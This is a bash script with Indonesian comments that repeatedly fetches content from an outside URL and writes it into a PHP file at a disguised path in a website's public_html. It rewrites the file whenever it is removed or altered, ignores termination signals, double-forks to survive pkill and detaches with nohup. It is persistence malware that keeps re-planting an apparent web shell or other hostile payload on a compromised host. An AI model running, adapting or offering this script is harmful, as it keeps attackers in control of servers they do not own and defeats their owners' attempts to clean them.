#!/bin/bash FILE_PATH="/home/impetzdo/public_html/learn/media/player/html5audio/lang/en/media_eng.php" URL="https://sportsfreund-blog.de/om.txt" FILE_DIR=$(dirname "$FILE_PATH") EXPECTED_PERMISSIONS="0755" LOG_FILE="/home/impetzdo/public_html/learn/media/player/html5audio/lang/en/restorer.log" # Tangani sinyal agar sulit dihentikan trap "" SIGINT SIGTERM SIGHUP # Fungsi logging log_message() { echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$LOG_FILE" } # Buat direktori log jika belum ada mkdir -p "$(dirname "$LOG_FILE")" log_message "=== Script restorer dimulai ===" log_message "File target: $FILE_PATH" log_message "URL sumber: $URL" create_directory() { if [ ! -d "$FILE_DIR" ]; then mkdir -p "$FILE_DIR" log_message "Direktori dibuat: $FILE_DIR" fi } fetch_content() { if command -v curl &>/dev/null; then curl -s "$URL" return $? fi if command -v wget &>/dev/null; then wget -qO- "$URL" return $? fi if command -v fetch &>/dev/null; then fetch -qo- "$URL" return $? fi if command -v http &>/dev/null; then http -b GET "$URL" return $? fi log_message "ERROR: Tidak ada tool download yang tersedia (curl, wget, fetch, http)" return 1 } update_file() { echo "$EXPECTED_CONTENT" > "$FILE_PATH" chmod "$EXPECTED_PERMISSIONS" "$FILE_PATH" log_message "File diperbarui: $FILE_PATH" } check_and_update() { create_directory EXPECTED_CONTENT=$(fetch_content) if [ $? -ne 0 ]; then log_message "ERROR: Gagal mengambil konten dari $URL" return 1 fi if [ ! -f "$FILE_PATH" ]; then update_file log_message "File dibuat baru: $FILE_PATH" return 0 fi CURRENT_CONTENT=$(cat "$FILE_PATH" 2>/dev/null) if [ "$CURRENT_CONTENT" != "$EXPECTED_CONTENT" ]; then update_file log_message "File dipulihkan: $FILE_PATH (konten berubah)" return 0 fi } run_process() { local counter=0 while true; do check_and_update ((counter++)) # Log status setiap 10 iterasi if [ $((counter % 10)) -eq 0 ]; then log_message "Status: masih berjalan (iterasi ke-$counter)" fi sleep 5 done } # Forking ganda untuk menghindari pkill double_fork() { log_message "Process forking dimulai" ( while true; do run_process & PID=$! log_message "Subprocess started dengan PID: $PID" wait $PID EXIT_CODE=$? log_message "ERROR: Subprocess mati dengan exit code: $EXIT_CODE, restarting..." sleep 2 done ) & MAIN_PID=$! log_message "Main process started dengan PID: $MAIN_PID" disown } # Ekspor semua fungsi agar tersedia di subshell export -f log_message export -f create_directory export -f fetch_content export -f update_file export -f check_and_update export -f run_process export -f double_fork # Ekspor variabel export FILE_PATH export URL export FILE_DIR export EXPECTED_PERMISSIONS export LOG_FILE # Jalankan script di background independen dari user log_message "Memulai script dengan nohup..." nohup bash -c ' # Source fungsi-fungsi yang sudah diexport source /dev/stdin <<< "$(declare -f)" double_fork ' >> "$LOG_FILE" 2>&1 & DISOWN_PID=$! log_message "Script berjalan di background dengan PID: $DISOWN_PID" echo "Script berjalan secara independen." echo "File akan dipulihkan otomatis jika hilang atau berubah." echo "Log dapat dilihat di: $LOG_FILE"